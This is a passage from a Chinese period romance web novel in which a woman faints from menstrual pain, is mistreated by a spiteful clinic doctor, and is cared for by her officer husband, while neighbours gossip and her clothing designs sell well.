“什么义务不义务的?不管你报道没报道,病人来了就得看!这是命令!马上给老子滚出来!不然老子收拾你!” 说完,照着院子里的杨树重重踢了一脚,树叶哗哗往下掉。 “有什么了不起的?我又不是你手下的兵!当兵的就是粗俗!” 里头的女人翻了个白眼,没敢大声说,而是走到屋门口不情不愿地说道。 “先把人带到诊室,我马上过去。” 到底是军区的军官,瞧着还这么凶,她也知道自己惹不起。 赵毅赶紧在前头开路,让沈淮川一路把周柒柒抱到诊室里。 后勤处的林处长已经让人收拾过了,诊室里干干净净的,刚消过毒,白床单也都是新换的,一股子消毒水味儿。 沈淮川小心翼翼地把周柒柒抱到病床上,又轻轻替她擦了擦额头上的汗。 周柒柒还没醒,小脸白得跟白纸似的,睫毛扑棱扑棱的,一看就难受得紧。 可等了两三分钟,大夫还没来,赵毅正准备去催,就听白帘子外传来个不耐烦的声音。 “来了~” 听见这声音,沈淮川眉头一下子就皱起来了。 这声音他刚才就觉得耳熟,可却是怎么都没想到,居然是——林瑶! 而此时身着白大褂的林瑶,眼睛瞪得老大,眼中满是恨意。 “沈淮川?!” 自从昨天得到信儿,知道自己被分配到G市军属区卫生所之后,她就憋着一肚子火。 她想过最坏的结果,也就是分配到城里的防疫所之类的,实在不行,城郊的卫生所也行。 咋都没想到,居然被打发到了这儿! 这军属区两年前刚盖好,她就被父母逼着来过一次。 距离城里远不说,附近连个买东西的地儿都没有,说白了就是鸟不拉屎的乡下! 那时候沈淮川还是营长,分到的宿舍是筒子楼里一间四十多平米的屋子,布置得跟监狱似的,根本就不能住人。 而且筒子楼里上上下下住满了人,挤得要命。 家里连水管都没有,洗个水果还得去楼里的水房。 上厕所更是得去几百米外的公共茅房。 要知道,林瑶的父母都是医生,她从小到大,住的可都是城里的二层小洋楼,就算上学和实习,那也都是在城里啊。 她就是不愿意来这个鸟不拉屎的乡下地方吃苦,才死都不愿意嫁给沈淮川的,没想到绕来绕去,居然还是来到了这里。 这卫生所的条件,比起沈淮川分的那个筒子楼还不如,就几间平房,屋子又小又破,离茅房更是远得不得了。 更要紧的是,分到这里。 平时得给那些军嫂和娃娃们开药,打针,事儿多得不得了,往上升也没有途径。 简直是差得不能再差了! 她第一反应,就是觉得这肯定是沈淮川在背后使坏! 怪不得不愿意让她留在军区医院呢,合着是打算把她弄到眼皮子底下! 他心里还没放下她呢!这是因爱生恨了! 这男人看着冷冰冰的,心眼咋这么小,把她一辈子都给毁了! 林瑶越想越恨,连带着把病床上昏迷的周柒柒也恨上了。 “哎呀,快别拉家常了,给看看吧,沈团长媳妇晕倒了!” 这会儿听着赵毅在旁边催促,她嘴角一勾,冷笑一声。 “她晕倒了,得先把人弄醒!” 说完,伸手就狠狠朝着周柒柒的人中掐了过去! 第117章 真够矫情的 林瑶觉得,自己这段时间受的苦,基本全都是拜周柒柒所赐。 一想起周柒柒早前在军区医院那副鼻孔朝天的模样,她心窝子的火腾地就窜上来了。 新仇旧恨搅和的她脑仁儿疼,她抬手就是一爪子,尖尖的指甲直往对方人中剜过去。 哪成想,指甲离周柒柒的脸还有寸把远呢,手腕子突然跟被铁钳子夹住似的,攥得生疼。 “我来就行。” 沈淮川撂下这话,扭头就喊赵毅,让他赶紧去拿条冷毛巾。 他眼神跟淬了冰碴子似的,林瑶觉着四周跟掉进冰窟窿似的,手腕子也火烧火燎地疼,立马就泄了气,眼皮子一翻。 “你来就你来呗。” 她压根就不想给周柒柒瞧病,巴不得这乡下狐狸精一辈子别醒呢。 赵毅脚程飞快,眨眼间就把冷毛巾递过来了。 沈淮川轻轻把毛巾敷在周柒柒脑门上,这突如其来的凉意让她皱了皱眉。 看她有反应,沈淮川赶忙快速用指甲用力按压起人中,配合着快速的掐揉。 “疼...” 没一会儿,周柒柒嘴里咕哝着,睫毛扑棱扑棱地,慢慢睁开了眼。 沈淮川赶紧握住她的手,“柒柒,你醒了?哪儿难受啊?” “我...” 周柒柒捂着肚子,这会儿下腹坠胀得厉害,腰也酸背也疼,整个人跟被卡车碾过似的,头晕眼花,又想吐又想上厕所,冷汗直往下冒。 更难堪的是,下身黏糊糊的。 她身为女人,自然心里清楚是咋回事,有些虚弱的摇了摇头,“没事儿。” 话音没落呢,就听见有人扯着嗓子咋呼:“大夫!快来!她醒了!瞅瞅咋回事!” 周柒柒眼前一黑,勉强抬眼,只见四周白晃晃的,消毒水味直往鼻子里钻,她皱着眉问。 “这是哪儿...” 一抬眼,又看到了一个讨厌的面孔,“林瑶?” 沈淮川轻声说:“军属区卫生所。她是新来的医生。你晕过去了,我跟赵营长送你来的。” 她居然因为痛经进了卫生所! 周柒柒的脸“唰”地红了,反手握住沈淮川的手就想起身。 “那啥...我没事了,咱回家吧。” 沈淮川刚想拒绝,但看她的眼神,立马就懂了她的心思,点了点头。 哪知道赵毅在旁边嚷嚷开了。 “那可不行!嫂子疼成这样咋能走?大夫!你赶紧给瞧瞧!量量体温、测测血压,给个准话!不然我跟你没完!” 赵毅长得五大三粗,林瑶一开始还有点怕他,可这会儿却理直气壮地呛回去。 “量啥体温血压?能有啥大病?不就是来事儿了吗?哪个女人不来?还能晕过去?我可从没见过这么矫情的!” 刚才周柒柒一醒就捂着肚子,林瑶瞥了一眼,看见她裤子上有点血迹,心里早就有数了,只是懒得说。 这会儿有人逼问,她索性抖出来,反正丢人的又不是她! “来事儿?你是说...” 赵毅一开始没反应过来,下意识就往周柒柒下身看。 周柒柒臊得不行,想躲又不知道咋躲,还好沈淮川及时站起来挡住了赵毅的视线。 “你去开车。” “哎,好!” 赵毅虽说也是乡下汉子,但毕竟跟媳妇生了五个娃,这点事儿还是懂的,赶紧跑出去了。 沈淮川扶着周柒柒刚要走,周柒柒忽然停下,语气缓和地问。 “林医生,能给我开几片止痛药吗?” 她实在是疼得厉害,感觉有点扛不住了。 林瑶抱着胳膊站在那儿,眼皮都没抬一下,肩膀一耸。 “开不了。我刚调来,药都搁哪儿了不清楚,过没过期更不晓得。要是开错药了咋办?是吧,首长媳妇?” 周柒柒本来也没抱多大希望,看了眼沈淮川:“那算了,咱走吧。” 看着周柒柒难受的样儿,林瑶心里甭提多痛快了,暗暗骂道。 “你也有今天?想拿止痛药?做梦!疼死你才好呢!” 院子里,赵毅刚把车掉头,就见邱春芳领着儿子气势汹汹地冲过来,“赵毅!你干啥呢!” “沈团长媳妇生病晕...晕倒了,我开车送她来的。” 赵毅朝诊室努了努嘴,“现在没事了,准备回家。” 邱春芳狠狠掐了他一把。 “就你热心!也不看看那沈淮川媳妇咋对我的!都把我推进粪坑了!” 赵毅撇了撇嘴。 “那不是你自个儿找事儿吗?沈团长帮了咱家里那么多忙,你还去招惹他媳妇...” “你咋还胳膊肘往外拐呢?那也是她在火车上先招惹我的!还有...” 邱春芳掐着腰巴拉巴拉说个不停,一副要吵架的架势,赵毅瞅着直心烦。 “快闭上你的嘴吧!这儿可不是吵架的地儿!先回家去!” 邱春芳瞪了他一眼,刚要走,眼珠子骨碌一转。 “你先走吧,我带孩子来领点药。这卫生所两个月没开门了,家里药都快过期了。” 赵毅想起自己家里拿满满一柜子的药,有些无奈。 “又没病,总领那么多药干什么?又没生病,领了这不浪费吗?再说了,你都领走了,到时候别人生病了没药咋办?” 邱春芳这就不乐意了,理直气壮地说。 “别人生病关我啥事?反正免费领药是咱军属的福利!不领白不领!咱家那么多孩子能吃,咋会吃不完?就算吃不完,多的也能寄回老家,让爸妈也吃!” “你当那是糖丸啊?没啥事就瞎吃药...” 赵毅眉头皱得紧,但也知说不动媳妇,只得先走了。 等到吉普车开走之后,邱春芳就迫不及待地冲进了诊室,大喊道。 “大夫,大夫?快出来,我来领点药!” 林瑶不耐烦地走了出来。 “这么晚了,关门了!不看病!有事儿明天再说!” “有没有医德啊你?咋能...” 邱春芳叉着腰刚要骂,一抬头看清来人的脸,立马换了副笑脸,亲热地伸手想挽林瑶的胳膊。 “瑶瑶,咋是你啊?” 说着还推了推旁边的儿子,“耀祖,赶紧叫表姐!” 赵耀祖倒是听话,用袖子胡噜了一把鼻涕眼泪,凑上前喊:“表姐~!” “你们是...” 比起母子俩的热情,林瑶就要冷淡得多,后退两步,生怕小男孩的鼻涕甩到自己身上。 “我是你春芳姑妈啊?你忘了?咱们去年过年不是还见过嘛?” “是吗?不记得了。” 林瑶家里穷亲戚多,三天两头有人找她爸妈帮忙看病,过年更是不得安生,哪儿能记得这么清楚。 邱春芳又补了一句,“我是你妈的远方表姐!去年拎了一大袋子酱菜去你家,让你爸妈给家里老人瞧病,记得不?” 说完,眼巴巴地看着林瑶。 第118章 有没有止痛药 “哦,想起来了。” 她这么一说,林瑶脑海里隐约有了印象。 别人家请她爸妈看病,多少都会带点钢笔、肉票啥的好东西,就算家境贫寒的,也晓得提些水果、罐头来,偏生这位远方表姑,拎来一大袋子自家腌的酱菜。 那酱菜看着寒酸得很,还带着股子发酵的怪味儿。 就靠着这袋酱菜,表姑在她家蹭了一中午饭,还带着五个孩子来吃喝,这事儿她想忘都忘不掉。 见林瑶点头,邱春芳又补了一句。 “还有呢,两年前你到咱们军区来,不还是我招待的你嘛!” “哦,对。” 林瑶这下彻底想起来了。 之前她来军区时住在邱春芳家,和沈淮川那间单身宿舍上下层挨着,四十多平米的屋子挤着一家七口人,憋屈得要命。 有天她睡醒时,赵耀祖的脚差点戳进她嘴里,直把她恶心得够呛。 想想自己要是嫁给沈淮川,也得帮他带孩子,将来过的就是这种日子,她都感觉不如死了算了。 林瑶正犯恶心呢,邱春芳却热络地挽住她胳膊。 “瑶瑶,你咋跑这儿来了?你和沈淮川,到底咋回事啊?过年的时候你妈不是还托我撮合你俩尽快结婚,咋滴沈淮川忽然就娶了个乡下丫头?” 说到这个,林瑶有点心虚。 “这事儿说来话长,改天再说,对了,这事儿你没告诉我妈吧?” “没哩。” 邱春芳也有点心虚,林瑶妈托她办这事儿,除了承诺事成之后给她两百块钱好处费以外,事前,还给她爸妈寄了点常用药。 满满一口袋,满打满算,也值个一百来块了。 那晚周柒柒到军属区后,她本想给林瑶妈打电话说这事儿,又怕对方要药钱,最后还是没敢打,想着反正他们迟早会发现,再不济林瑶自己也会说。 林瑶松了一口气,眼珠子一转。 “那就行,表姑,这事儿复杂,你别告诉我爸妈,对了,你刚才说,你要领啥药?” 邱春芳顿时喜笑颜开。 “就是咱军属区卫生所免费给的,治平时头疼脑热的阿司匹林,红药水、甘草片,还有维生素啥的,有啥都给我来点!” 林瑶偷偷翻了个白眼,懒得动弹,冲药柜努努嘴让她自己拿。 邱春芳更高兴了,从兜里掏出个布袋子就开始装。 眼瞅着她快把小药柜搬空了,林瑶连忙阻拦。 “差不多的了,这么晚了赶紧回去歇着,下次再来拿。” “哎!我还想着和你唠会儿嗑呢!” 邱春芳还有些意犹未尽,不过也瞅着时间不早了。 “算了,等你改天忙完到我家吃饭再说!反正以后你就住在军属区了,咱们抬头不见低头见的!” 她抬脚要走,忽然又想起刚才的事儿。 “哦,对了,刚才,那个周柒柒是因为啥晕倒了啊?” 林瑶冷笑一声,凑到她耳边嘀咕了几句…… ------------------------------ “痛经?!” 周柒柒家里,朱莹莹和邓翠香也在问着同样的问题。 沈淮川带着她回来之后,两个女人刚急吼吼地赶到她家门口,说是沈渡舟画了幅画。 “画得一个人倒地上,可给我们吓坏了!你没啥事吧?” “没事。” 周柒柒摸了摸床边舟舟满是汗珠的小脸,有点难为情地说出了原因。 一听说是痛经,两个女人都面面相觑。 “就是来事呗?能痛晕倒了这么厉害?” 说实话,周柒柒也有点意外,上辈子她自己也有姨妈痛,但也没这么厉害啊。 她在脑海里搜索了一下,原身差不多是十六岁来的初潮,当时还只是有点痛而已。 可许母觉得她是偷懒不想干活,硬是要她去河边挑水去。 当时是大冬天,原身直接在冰冷的小河里晕过去了。 从此以后,大概就落下了病根,后来,三五个月才来一次,每次来都痛得死去活来的。 这次更是严重,在她印象里,好像半年都没来了。 所以现在,她痛得厉害。 邓翠香立刻说道,“我家里有红糖,最能补血了,我给你煮点红糖水来!你喝点就没事了!” 朱莹莹也急忙起身。 “我家里有好几个热水袋,我去烧点水灌上给你拿来,捂着肚子就不疼了。” 邓翠香忙点头。 “对对对!肚子暖乎了,再揉揉就好些了。” 这些法子周柒柒小时候听了无数回,也没少喝红糖水,后来上了网,看多了科普才知道,其实红糖水这玩意儿顶多跟喝热水差不多,对痛经作用不大,就是个心理安慰。 可她现在疼得厉害,喝红糖水肯定不管用,于是挣扎着坐起来。 “你们家有没有止痛药?给我拿点。” 朱莹莹摇了摇头,“这种药平时卫生所都开不到。” 邓翠香则是拍了拍大腿。 “大妹子,那药可不能随便吃啊!那种药最伤身子了,吃多了以后难怀上孩子!听我们村老人说,我们村之前有个婶婶,就是吃这种药吃多了,一辈子没能生娃!” “别说是姐姐家里没有了,就算是有,也不能给你吃啊!你可千万别吃!” 看邓翠香眼眶都红了,周柒柒知道她是真心为自己好,这会儿也没力气争辩。 “没有就没有吧,那个……你们先帮我拿点卫生巾过来,我这儿没有。” 刚才她裤子都弄脏了,沾了不少血,这会儿沈淮川还在外头帮她洗裤子呢,想到这儿她脸上臊得慌。 这回轮到邓翠香挠头了,“卫生巾?你是说卫生带吧?这个我家里倒是有,但是都是用过的...” 她平时比较节省,虽然每次用完都洗干净消毒了,但到底用久了,肯定不好拿过来借给周柒柒。 朱莹莹眼睛亮了起来,“我家里有!老王她妈每个月都给缝新的寄过来呢!我这就拿去!” “行,你去拿卫生带和热水袋,我去拿红糖去。” 邓翠香这就安排上了,正打算再跟沈淮川交代点啥,可是出门一看。 晾衣绳上有刚洗干净的裤子,还在滴滴答答地往下滴水,可是院子里却一个人都没有。 “咦,沈团长人呢?这大晚上的跑哪儿去了?柒柒这么难受,他咋还跑没了?” 第119章 铁杵磨成针 “沈团长平时做事挺稳当的啊,今儿个这是咋了?见着小青梅,魂儿都给勾跑了?” 眼瞅着周柒柒疼得腰都直不起来,脸色白得像张纸,沈淮川却跑得没影了,邓翠香当下就沉了脸,心里有话藏不住。 林瑶的事儿,之前朱莹莹也和她说过,刚才又听说林瑶成了军属区的医生,她打心底里替周柒柒抱不平。 周柒柒硬撑着坐起来,声气儿都弱了, “不会的,翠香姐,保不齐是哪个战友临时叫他有事儿呢?” 邓翠香撇了撇嘴。 “算了算了,先不管他了。这家里总得有人盯着柒柒,总不能全跑没影了,万一她再出点啥岔子可咋整?” 朱莹莹立马接话。 “我家就在隔壁,我来回跑就行。翠香姐,你在这儿陪着柒柒,对了,红糖搁哪儿呢?” 邓翠香从裤腰带上解下一大串钥匙,翻出个最小的。 “成,红糖就在平时放水果糖的小匣子里,藏在我嫁妆柜子里,锁着呢,而且好几层,你肯定是找不着,不过向阳总偷摸拿,他肯定知道在哪儿,你问他就行,给,这是钥匙,你把那一整包都拿来。” “欸,好嘞!” 朱莹莹抓过钥匙,蹬蹬蹬跑没影了。 不到一分钟就把卫生带拿回来了,又去拿红糖,周柒柒去厕所换上了。 这玩意儿就是个长条形布条,前窄后宽,带穿绳孔,能骑在胯下拉细绳系腰上,中间有夹层,能垫棉花或者卫生纸,还有垫草木灰的。 邓翠香还说她家里有炒好的,问她要不要,说是比卫生纸好用,能吸。 周柒柒觉着卫生纸都糙得慌,只能凑合用。 至于草木灰,就算是用布包着,也到底是灰啊,想象那个画面就难受,不得不拒绝了她的好意。 不得不说,这妇女以前的卫生条件是真差。 还有,瞅着手里这条卫生带,周柒柒总算明白朱莹莹为啥压力那么大了。 这是王团长他妈,也就是朱莹莹婆婆给缝的,用的大红色布,两侧还各缝了个喜庆的胖娃娃。 这哪儿是卫生带,分明是变着法催生呢! 看着那红扑扑的娃娃,周柒柒莫名有点发毛,也闹不清是不是啥封建迷信,搁这儿搞啥名堂呢。 她给自己做了一番心理建设,再加上磨磨蹭蹭换完,已经过去十分钟了,热水袋早灌好了,红糖水也端上来了。 周柒柒知道这是俩人的心意,不忍心推拒,再说刚才折腾那一阵出了不少汗,也得补补能量。 等她喝完红糖水,眼瞅着就快熄灯了。 朱莹莹哄着舟舟回屋睡觉,邓翠香还守在她床边,她赶忙赶人。 “我没事儿了,你赶紧回去吧,明儿一早还得给孩子做早饭呢。” 邓翠香屁股都不挪一下。 “不着急,等你睡着了再说。你说你这么大个人,还跟个孩子似的,我咋能放心。” 邓翠香一向凌厉,嘴上也不饶人,但也许是月色朦胧的缘故,周柒柒感觉她说不出的温柔,闭上了眼睛假装睡觉。 可她实在疼得厉害,身上又乏得很,装着装着,还真睡着了。 睡得却不十分安稳,痛得厉害,感觉自己好像反复被大卡车碾过去一样。 梦中,她恍恍惚惚回到了上辈子,亲眼看到父母争吵后,独自跑到小房间里,捂在被子里哭的上气不接下气,感觉胸口发闷,怎么都喘不过气。 “柒柒~柒柒~醒醒!” 正当这个时候,一个温柔的呼唤声,仿佛一道亮光,把梦中的场景震碎。 她迷瞪着眼睁开,月光底下瞧见一张冷峻硬挺的脸。 这是沈淮川回来了! 她猛地坐起来,用拳头捶着他,“你去哪儿了?” 沈淮川轻轻按住她,拿起备好的毛巾给她擦汗。 “慢点,咋出这么多汗?还难受不?先喝点水,把药吃了。” “吃药?吃啥药啊?” 周柒柒还有点迷糊呢,看到沈淮川拿过来一个药盒。 上头写着的都是大串大串的英文,没灯看不清,但那个芬必得的商标,周柒柒以前常吃,认得一清二楚。 “这是...止痛药?” 她怔了一下,“你刚才跑没影儿,就是给我找药去了?” “嗯,给翟院长那边打了电话,调了军区医院进口的止痛药,我开车刚取回来,问过了,对症你的病,副作用很小,可以吃。” 周柒柒刚接过药盒,听他特意强调问过了,嘴唇动了动。 “你问过了?是不是刚才翠香姐说的话,你都听到了?” 沈淮川没否认,“嗯,听见了。” 周柒柒睫毛扑棱了两下。 “那医生应该说了吧,吃这个...不会影响生孩子的。” “影不影响生孩子我不知道,我只问了会不会影响你身体。” 沈淮川头也不抬,只端过来一个盘子。 “这儿有馒头,你先吃两口,吃完再吃药。” “你...” 周柒柒心里忽地暖烘烘的。 刚开始听他说问过了,还以为他问的是影不影响怀孕,心里还有点莫名的难受。 没想到他压根没提生孩子的事儿,净顾着关心她身体了。 看来自己当初没看走眼,这人确实靠得住。 馒头还是下午剩的,沈淮川又给热了一下,吃进肚子里暖呼呼的。 周柒柒啃了半个馒头,就着温水吞了颗芬必得。 “好了,吃了药快睡吧。” 沈淮川扶着她躺下,正想给她掖被子,冷不丁周柒柒的嘴唇在他脸上轻轻啄了一下,自己先红了脸,赶紧把脸埋进被子里。 她竖着耳朵听着沈淮川转身,又偷偷掀开被子瞅。 沈淮川的耳朵尖尖也红透了。 也不知是心理作用还是药劲儿上来了,躺下后周柒柒感觉身上没那么疼了,搂着热水袋没多久就睡着了。 梦里,她不知怎的,又回到了晕倒之前那一幕。 这一次,那双带茧的大手顺着她皮肤一点点往上滑,掀起了衣裳。 那个不断加深的吻,一路从唇边游离到她的下巴,她的脖颈,她的锁骨,然后继续蜿蜒向下... 她浑身发颤,软得坐不住,干脆靠在沈淮川肩膀上,俩人贴得紧紧的。 她不得不承认,沈淮川除了是一个好男人之外,也是一个猛男。 老话怎么说的来着,铁杵磨成针,针可以穿针引线,那铁杵自然也可以... 只是她不是铁杵,也从来没有经历过,不知道后面的步骤是怎么样的。 只能将这个梦重复,重复,再重复… 第120章 好消息 第二天早上一睁眼,周柒柒条件反射似的扭头往旁边瞥。 瞧见空荡荡的床铺,昨晚那个梦突然窜进脑子里,她脸颊“腾”地烧起来,慌忙用被角捂住发烫的脸。 还好沈淮川这会儿已经出去打饭了,要是被他撞见自己这副火烧云似的模样,她怕是得找个地缝钻进去。 回想起梦里的片段,她咬着嘴唇,不得不承认,自己确实馋沈淮川的身子。 不然怎么会日有所思夜有所梦,连睡觉都惦记着? 不过她又赶紧在心里强调,就只是馋身子,对,单纯肉体上的欣赏! 这会儿的进口药都是原研药,药效顶十二个小时。 昨晚吃了药,睡醒除了腰腹有点酸胀,整个人还算精神。 要不是换卫生带时那股子别扭劲儿,她都快忘了自己还在生理期。 这卫生带用着实在不习惯,之前逛百货商店压根没瞧见卫生巾的影子。 明明记得这玩意儿早发明出来了,估计还没传到内陆,想买还得跑花城那种沿海大城市。 正想着,沈淮川端着油条豆腐脑推门进来,秦磊也拎着羊奶跟在后头。 这些天赵大姐天天准时送奶,风雨无阻,她也已经喝习惯了。 周柒柒没什么胃口,随便扒拉两口就放下碗筷。 等舟舟背着书包上学、工人师傅来开工,她才发现沈淮川已经去地窖监工了。 家里地窖特意隔成两间,菜地旁那间大的囤蔬菜,靠墙又扩出个小间放腊肉水果。 因为土质松软加了不少支撑,工期拖得久,还有小半没完工。 周柒柒又吞了颗药,正摊开设计图,电话室小李火急火燎跑来说。 “那头催得急,非要你亲自接!” 她气喘吁吁跑到电话亭,刚拿起听筒就听见张国强扯着嗓子喊。 “周师傅!好消息!天大的好消息!” 隔着电话线都能感受到对方的兴奋,她原本蔫巴巴的劲儿被冲散,嘴角不自觉上扬。 “张副厂长,你慢慢说,到底啥好事?” 前几天张国强就说有喜讯,她等了好几天没信儿,正琢磨着抽空回电问问,没想到电话倒先来了。 “之前我不是说,在这边联络了一个大批发商吗,我亲自把样衣送过来了,他很满意,五款,每样都先定了五百件,说是先卖着试试看,结果你猜怎么着?” “这还用猜吗?别卖关子了,快说快说。” 要搁平常,周柒柒肯定捧个哏,但她这会儿正生理期呢,可懒得动脑子,直截了当地说。 张国强笑得眼睛褶子都开花了。 “五百件啊,昨天上午刚拉到这儿,挂出来不到一个小时就被抢光了!这边的服装店和小摊贩都说,咱们厂子这批货的款式太好了,比水路过来的港货要好多了!” 虽然是库存货,但厂子里保管的好,质量也过硬,用料和做工更是秉持着原先的口碑。 而且最关键是,价格还便宜,不走水路,也不用交乱七八糟的手续费。 他这两天一直忙活着让工厂赶工,签合约,联系运输,忙得不可开交的。 “不光商贩们抢着要!就连之前说不收我们货的百货大楼也联系我了!这五款积压库存总共八千多件,已经卖完了!” 张国强有点兴奋,说话颠三倒四的,想到哪儿说哪儿,不等周柒柒回话呢,又迫不及待地补充道。 “哦,对了对了,尤其是你设计的那件拆卸袖套的毛衣,都抢疯了!百货大楼那边加价要货呢!给的价格比别的厂当季的新货还高!” “是谁之前说这款式不好,担心卖不出去的?” 周柒柒想起当时张国强那副欲言又止的样子,就觉得好笑。 “哈哈哈,是我老土了!你这设计是真绝了!” 电话那头传来张国强爽朗的大笑,他这会儿对周柒柒已经是心服口服了,这会儿又跟机关枪似的,不停汇报着工作。 “我现在已经让厂子里把所有的厂房都给开了,工人也全都召回来,加班加点地干着呢,预计十天左右,就能交完货。咱们这第一阶段的合作也算是完成了,还有第二批的几款冬款,也得抓紧时间了,你设计图画得怎么样了?” 周柒柒勾起唇角笑了笑,“差不多已经完成了。” 库存改造不比设计,难度要小得多。 这些天晚上洗过澡后,她和舟舟坐在桌子前,一个画画,一个画设计图。 别说是冬款的几款了,剩下的几个春夏款,她也都已经完成了。 听她语气中的自信,张国强心中也有了底气,迫不及待道。 “第一批定金已经都付了,都在我手里呢,我四天后的车票回去,等我回去,先把第一阶段,属于你的那一千块全都给你,咱们也好开启第二阶段的合同。” 服装行业的规矩,一般都是这一季卖下一季的衣服。 现在已经是秋天了,他们的秋款已经是落后了,也就因为款式精致才卖得出去。 冬款可不能再落后了,争取提前卖光,也好给厂子里的把工资发齐,免得大家像去年那样,买不起过冬的煤,手上再长了冻疮。 “行。” 周柒柒知道张国强心里记挂着厂里人,也没拒绝。 张国强又道。 “对了,之前你不是说你没有银行账户吗,现在办好了没有?到时候我带着你去银行存钱去。” 那可是一千多块呢,不是一笔小数目,必须得存银行里。 “哎呀,我把这事儿给忘了,这两天我抽空就过去。” 不止张国强想起事儿,周柒柒也想起卫生巾的事儿,托着张国强帮她看看,花城那边的百货商店有没有卖的。 张国强立马想起来了。 “这玩意儿百货商店的经理昨天才刚说过,说是七毛钱一包,但是没啥人买,准备撤了呢。” 周柒柒还以为多贵呢,没想到才七毛钱一包,直接大手一挥。 “那你帮我先买个一百块钱的,钱就从我设计费里扣就行。” “行,没问题。” 张国强也答应的干脆,两人又说了几句设计上的事儿,周柒柒才慢悠悠地回家。 却没成想,胡春晓和之前给周柒柒送花籽的王嫂子在她家门口,两人看见周柒柒过来,眼珠子都快掉到地上了。 第121章 说得可邪乎了 周柒柒看着这俩嫂子你瞅着我,我瞅着你末了又齐刷刷把目光落她身上,脸上满是惊怔劲儿,便笑着迎了上去。 “春晓姐,王大嫂,你俩这是...?” 她早前刚吃了身体上的止痛药,眼下又进账八百多块,眨眼成了小富婆,这心里头跟吃了蜜似的,整个人都透着精神气,小脸白里泛着红,看着就喜庆。 说话声儿也清亮得很,跟百灵鸟似的。 两人上上下下把她打量了个遍,王大嫂先开了口,“你...挺好的吧?” “啥呀?我咋就不好了?” 周柒柒叫她俩问得直发懵,又见她俩手里都拎着鼓鼓囊囊的东西,赶紧往屋里让。 秦磊这小子眼头挺活,正搁后院帮工人师傅搬东西呢,听见前院有动静,麻溜儿过来倒茶切水果。 周柒柒朝着他那边扬了扬下巴,“这儿有我呢,你别忙活了,赶紧去后头搭把手。” “欸,嫂子你要有事儿只管叫我,可不敢自己动手啊,这是团长下的死命令,违反了我得挨批斗呢!” 说着他手起刀落做了个杀头的架势,接着吐着舌头扮了个鬼脸,逗得沙发上的三个女人都笑出了声,屋里的气氛一下子松快多了。 周柒柒把果盘往俩嫂子跟前推了推,“春晓姐,王嫂子,你俩刚才说我咋不好了?” 王嫂子抿了抿嘴才说,“昨儿晚上,巷子里有人传,说你昨儿晚上肚子疼得厉害,进卫生所了...” “可不是嘛,说得可邪乎了,说流了一屁股血,还有人说你...呸呸呸!都是些不吉利的话,不说了!” 胡春晓跟着搭腔,话说到一半又咽了回去。 周柒柒挑了挑眉,“都是啥话?你说呗,咱们都当听个乐呵!” 见她心态这么好,胡春晓也放宽了心,把听见的话都倒了出来。 “说你不是肚子疼,是小产了,得在家坐小月子呢。” “这不,我俩一听这话,急得班都没上,赶紧约着过来看你。” 所以刚开始在周柒柒家门口时,她俩脸色才那么沉重。 “结果你倒好,看着比我都精神,白瞎了我这两罐子麦乳精了。” 胡春晓见她没事儿,心里头松快了,嘴上就开起了玩笑,王大嫂也跟着搭话。 “可不是嘛,听说你小产了,我心疼得不行,连夜翻出前些年我坐小月子剩下的半盒参片,想着你可得好好补补呢。” 周柒柒看着茶几上那两鼓鼓囊囊的大布袋子,心里头暖烘烘的。 “多谢两位嫂子了,我啥事儿没有,就是肚子疼得厉害,我家那口子不懂,慌里慌张把我送卫生所去了,闹了这么大乌龙。” 她嘴上嗔怪着,王大嫂却怕她真怨上沈淮川,赶紧劝道。 “嗨,你别看沈团长都二十五了,这些年在部队里摸爬滚打,对男女这方面一点儿不感兴趣,这些事儿哪儿懂啊,他也是好心,你俩可别为这事儿闹别扭。” 胡春晓给她指了指桌上的热茶。 “王大嫂,你就别操这心了,刚才不都听沈团长那勤务兵说了,不让柒柒动手干活,人家小两口好着呢!” 王大嫂拍了拍胸口。 “那就好,那就好,我呀,就盼着家家都和和睦睦的才好,不然我心里难受。” 她家跟廖爱民家挨着,天天听着两口子为了鸡毛蒜皮的事儿吵架,孩子在旁边吓得直哭,她看着就揪心。 胡春晓请了半天假,下午还得去上班,又聊了几句挖地窖的事儿,俩人就起身要走。 “既然你没啥事,我们就回去了。” 周柒柒赶紧拦住她们,指了指茶几上的袋子。 “哎,别光人走啊,把你们带的东西也拿走。” 俩人一个劲儿摆手。 “那哪儿行啊,哪有走亲戚看病人还把东西带回去的道理!” “就是啊!” 周柒柒板起脸,态度坚决。 “我又没啥事,咋还能要你们那么好的东西呢?传出去不让人笑话?不行!今天这东西必须得拿走!” 两人互相对视一眼,脸上的褶子都笑开了。 胡春晓从袋子里拿出一罐子红糖来。 “行,你没事是最好的,麦乳精我就拿走了,不过你来事儿不舒服,这两斤红糖你得留下,这是我们单位发的福利,这东西副食店一个月才卖两次,你现赶着去买肯定买不到,且得留着喝。” 王嫂子也拿出了一罐子干玫瑰花。 “党参你不要,这玫瑰花你得拿着,等事儿过了泡泡水喝,活血化瘀,下回就不疼得厉害了。” “欸,这俩样我就收下了。” 周柒柒也不客套,把东西收起来,送她们到门口时,忽然想起件事儿。 “对了王大嫂,我家这两天正搭葡萄架和凉亭呢,想在周围种一圈花,你能不能再给我弄点花苗?” 一说起花花草草,王大嫂眼睛顿时亮了。 “成啊!没问题!我那儿郁金香、洋水仙、菊花啥的,越种越多,正愁家里盆栽太多没地儿搁呢,又舍不得扔。回头你凉亭搭好了跟我说一声,我推小板车给你送来,周围再种点木槿、绣球啥的,保准好看!” 周柒柒摆了摆手。 “不用你送,回头我让秦磊去你家搬,多少钱你算清楚。” 王大嫂实诚惯了,头摇得跟拨浪鼓似的,“都是军嫂,谈啥钱啊!不要钱!” “那可不行,人情是人情,买卖是买卖,一码归一码。你要不收钱,这花苗我就不要了,去别处买去。” 周柒柒说得严肃,王大嫂知道她主意正,只得点头,“那行吧,我给你算便宜点。” 王嫂子的院子,之前动员修厕所的时候周柒柒去过一回。 她家院子里摆满了各种盆栽,挤得孩子都没地儿玩,确实种得好,棵棵都长得旺实,花骨朵儿也饱满。 她眼珠子一转,提议让王大嫂拉到集市上去卖,王大嫂眉头紧锁,一时没说话。 胡春晓一听,也觉得这主意不错,她自己是物资局办公室的,最懂政策了。 “现在国家支持老百姓做小买卖,再说这都是你自己种的花苗,不算投机倒把。你家俩小子过两年就上大学了,光靠你男人那点津贴哪儿够啊?” 可王大嫂还是顾虑重重。 “我哪儿会做买卖啊。家里连自行车都没有,往城里运东西多不方便。再说了,我婆婆腿脚不利索,天天得人伺候,我也走不开啊。” “而且我男人也跟廖科长似的,有点好面子,我去外头抛头露面卖东西,万一有啥闲话,他面子上抹不开。” 